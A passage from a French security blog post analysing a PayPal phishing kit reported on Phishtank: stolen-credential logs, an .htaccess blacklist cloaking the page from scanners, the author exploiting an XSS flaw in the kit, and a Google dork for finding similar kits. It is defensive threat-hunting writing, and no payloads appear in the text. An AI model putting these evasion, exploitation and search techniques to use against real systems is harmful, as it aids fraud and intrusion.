<p><a href="media/aca07c8a.Phishing_paypal_phistank-15.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15.png"><img class="aligncenter size-large wp-image-34265" src="media/924f84bb.Phishing_paypal_phistank-15-800x290.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-800x290.png" alt="" width="800" height="290" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-800x290.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-550x199.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-768x279.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-160x58.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-15.png 987w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>J'y trouve effectivement des centaines de login/mots de passe valides vers des comptes Paypal :</p>
<p><a href="media/7d70d2ef.Phishing_paypal_phistank-13.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13.png"><img class="aligncenter size-full wp-image-34264" src="media/7d70d2ef.Phishing_paypal_phistank-13.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13.png" alt="" width="751" height="817" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13.png 751w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13-550x598.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13-138x150.png 138w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13-147x160.png 147w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-13-46x50.png 46w" sizes="(max-width: 751px) 100vw, 751px" /></a></p>
<p>La présence de cette page indique probablement qu'il est déjà arrivé à notre attaquant de perdre l'accès à son adresse mail (volée, bloquée,  mot de passe oublié ou service mail non fonctionnel), il s'est donc mis en place un accès "B" qui permet quand même de récupérer les informations volées. Celui-ci n'est d'ailleurs pas malin, puisque les premières entrés de ce fichier <em>SHADOWPaypal</em> sont des données "test", probablement saisie par lui même, ce qui a journalisé son adresse IP :</p>
<p><a href="media/72ee8cec.Phishing_paypal_phistank-17.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17.png"><img class="aligncenter size-full wp-image-34263" src="media/72ee8cec.Phishing_paypal_phistank-17.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17.png" alt="" width="465" height="353" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17.png 465w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17-150x114.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17-160x121.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-17-50x38.png 50w" sizes="(max-width: 465px) 100vw, 465px" /></a></p>
<p>Également, les premières entrées du fichier <em>vu.txt</em>, qui journalise les accès (uniquement l'IP), indique qu'il a essayé a plusieurs reprises son formulaire :</p>
<p><a href="media/476a0cb2.Phishing_paypal_phistank-19.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19.png"><img class="aligncenter size-full wp-image-34262" src="media/476a0cb2.Phishing_paypal_phistank-19.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19.png" alt="" width="647" height="415" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19.png 647w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19-550x353.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19-160x103.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-19-50x32.png 50w" sizes="(max-width: 647px) 100vw, 647px" /></a> <a href="media/941fceed.Phishing_paypal_phistank-18.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18.png"><img class="aligncenter size-large wp-image-34261" src="media/89356a83.Phishing_paypal_phistank-18-800x381.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-800x381.png" alt="" width="800" height="381" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-800x381.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-550x262.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-768x366.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-160x76.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-18.png 1189w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Il s'agit ici donc d'un Égyptien (supposé). L'étude des pays des victimes permet d'ailleurs de voir que les Américains sont principalement visés (80% des entrés du fichiers <em>SHADOWPaypal.html</em>).</p>
<p>Comme dans le cas précédent, je remarque la présence d'une <em>blacklist</em> visant à cacher la présence de ces pages aux <em>crawlers</em> et aux solutions de protection, cette fois-ci sous la forme d'un fichier .htaccess :</p>
<p><a href="media/f0a61ed3.Phishing_paypal_phistank-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20.png"><img class="aligncenter size-full wp-image-34260" src="media/f0a61ed3.Phishing_paypal_phistank-20.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20.png" alt="" width="530" height="436" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20.png 530w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20-150x123.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20-160x132.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-20-50x41.png 50w" sizes="(max-width: 530px) 100vw, 530px" /></a> <a href="media/403f164d.Phishing_paypal_phistank-21.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21.png"><img class="aligncenter size-full wp-image-34259" src="media/403f164d.Phishing_paypal_phistank-21.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21.png" alt="" width="526" height="566" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21.png 526w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21-139x150.png 139w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21-149x160.png 149w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-21-46x50.png 46w" sizes="(max-width: 526px) 100vw, 526px" /></a></p>
<p>Cela explique notamment pourquoi la capture d'écran prise automatiquement par Phishtank lors de la soumission d'un lien indique une erreur 404, l'adresse IP du robot Phishtank doit être bien connue des attaquants, qui se prend donc automatiquement un rejet :</p>
<p><a href="media/465b77da.Phishing_paypal_phistank-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1.png"><img class="aligncenter size-full wp-image-34258" src="media/465b77da.Phishing_paypal_phistank-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1.png" alt="" width="658" height="515" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1.png 658w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1-550x430.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1-160x125.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-1-50x39.png 50w" sizes="(max-width: 658px) 100vw, 658px" /></a></p>
<p>A nouveau, il semble difficile d'obtenir plusieurs d'informations sur l’identité de l'attaquant. Il est ici néanmoins possible de le piéger grâce à une vulnérabilité XSS présent dans le fichier <em>SHADOWPaypal</em>, j'en profite pour laisser un message d'amitié sincère à notre Égyptien :</p>
<p><a href="media/64d3f518.Phishing_paypal_phistank-14.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14.png"><img class="aligncenter size-large wp-image-34257" src="media/6bde32a5.Phishing_paypal_phistank-14-800x287.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-800x287.png" alt="" width="800" height="287" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-800x287.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-550x197.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-768x275.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-160x57.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-14.png 1359w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>Il aurait été intéressant de rediriger, via cette vulnérabilité XSS, l'attaquant vers un framework d'exploitation tel que Beef afin d'avoir plus d'informations sur son identité. Mais cela nécessite d'être présent jusqu'à sa venue sur le site piégé, et je suis en vacances après tout 🙂</p>
<p>Voila donc deux cas intéressants, notamment car les attaquants ont omis de supprimer le package ZIP de leur site de <em>phishing,</em> ce qui nous a permis d'en savoir plus sur leurs méthodes (et leurs erreurs). Si la question du <em>phishing</em> vous intéresse, je vous encourage à vous inscrire sur Phishtank (gratuit) et de commencer à traiter et évaluer les cas de <em>phishing.</em></p>
<p>Je vous conseille cependant de prendre quelques mesures de protection :</p>
<ul>
<li>machine virtuelle dédiée, en NAT, afin de limiter les dégâts en cas de compromission (ou de ralentir un peu l'attaquant dans sa découverte du réseau). La VM n'aura évidement aucune données personnelles;</li>
<li>utiliser un navigateur avec un utilisateur non privilégié;</li>
<li>mettre en place un pare-feu sortant sur votre machine autorisant uniquement HTTP, HTTP, DNS et DHCP, en cas de prise de contrôle de la machine par un attaquant, cela limitera les rebonds vers votre réseau ;</li>
<li>Utiliser le système de snapshot pour revenir à chaque fois à une VM propre ;</li>
<li>utiliser un VPN (je ne le fait pas personnellement car cela pose des problèmes de débit trop lent, mais si vous avez un VPN payant, utilisez le) afin d'éviter d'exposer votre adresse public, ou alors vérifiez bien votre surface d'attaque depuis l'extérieur.</li>
</ul>
<p>Dernière chose, cela fait plusieurs fois que je croise un fichier <em>vu.txt</em> retraçant les accès des victimes. je décide donc de faire une requête Google Dorks sur ce nom de fichier, ce qui me permet de trouver très rapidement d'autres sites de <em>phishing</em> (certains sont toujours présents depuis 2016 !) :</p>
<p><a href="media/b83262ff.Phishing_paypal_phistank-24-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1.png"><img class="aligncenter size-large wp-image-34256" src="media/8f001515.Phishing_paypal_phistank-24-1-800x461.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-800x461.png" alt="" width="800" height="461" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-800x461.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-550x317.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-150x86.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-768x443.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-160x92.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-1536x886.png 1536w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1-50x29.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishing_paypal_phistank-24-1.png 1554w" sizes="(max-width: 800px) 100vw, 800px" /></a></p>
<p>En cas de trouvailles telles que celle-ci, pensez à renseigner l'URL à Phishtank, pas besoin de créer un compte pour cela:</p>
<p><a href="media/50730a65.Phishink_phishtank-23.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23.png"><img class="aligncenter size-full wp-image-34255" src="media/50730a65.Phishink_phishtank-23.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23.png" alt="" width="609" height="388" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23.png 609w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23-550x350.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23-150x96.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23-160x102.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-23-50x32.png 50w" sizes="(max-width: 609px) 100vw, 609px" /></a></p>
<p>Si c'est la chasse, et non la pêche qui vous intéresse, créez donc un compte sur Phishtank 🙂</p>
<p><a href="media/aa3cb904.Phishink_phishtank-24.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24.png"><img class="aligncenter size-large wp-image-34254" src="media/2686bd37.Phishink_phishtank-24-800x598.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-800x598.png" alt="" width="800" height="598" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-800x598.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-550x411.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-150x112.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-768x574.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-160x120.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/Phishink_phishtank-24.png 931w" sizes="(max-width: 800px) 100vw, 800px" /></a><br />
Enfin, n'hésitez pas à me remonter les cas de mails/sites de phishing intéressants sur Twitter, chaque cas est généralement différent et réserve son lot de surprise :).</p>


